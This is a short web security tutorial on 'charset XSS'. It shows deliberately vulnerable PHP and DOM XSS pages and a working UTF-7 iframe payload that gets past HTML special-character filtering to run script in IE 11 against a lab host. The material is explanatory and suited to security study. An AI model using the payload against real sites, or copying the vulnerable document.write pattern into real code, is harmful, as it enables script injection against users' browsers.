Charset XSS #
Charset XSS is useful in cases where application filters HTML special characters like <
& >
, You might have seen these characters converting back into >
& <
respectively.
For example consider the following codes
<?php
if(isset($_GET['xss'])) {
echo htmlspecialchars($_GET['xss']);
}
?>
and similarly for DOM XSS code
<html>
<head>
<title>test page</title>
</head>
<body>
<script>
var bad_string = window.location.hash.substring(1);
var regex = /<\>/gi;
var good_string = bad_string.replace(regex,'')
document.write(good_string);
</script>
</body>
</html>
using charset XSS it is possible to bypass html special characters filtration
Requirements #
- Target site not implemented charset
- Target site implemented the wrong charset
Example works in IE-11 #
Consider the same DOM XSS code
xss.html
<html>
<head>
<title>test page</title>
</head>
<body>
<script>
var bad_string = window.location.hash.substring(1);
var regex = /<\>/gi;
var good_string = bad_string.replace(regex,'')
document.write(good_string);
</script>
</body>
</html>
Since this page does not have any charset defines that means it fulfil the requirements for charset XSS. In order to do it, we will create a document with UTF-7 encoding and load the vulnerable URL in the iframe.
iframe.html
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-7">
</head>
<body>
<iframe src="http://lab.com:8888/common/c.html#<p>+ADw-svg/onload+AD0-alert(1444444)+AD4-</p>" frameborder="1"
height="300" width="500"></iframe>
</body>
</html>
As soon as we access iframe.html we triage javaScript code execution since xss.html doesn’t have any charset defined and hence browser inherit top frame’s charset which is UTF-7.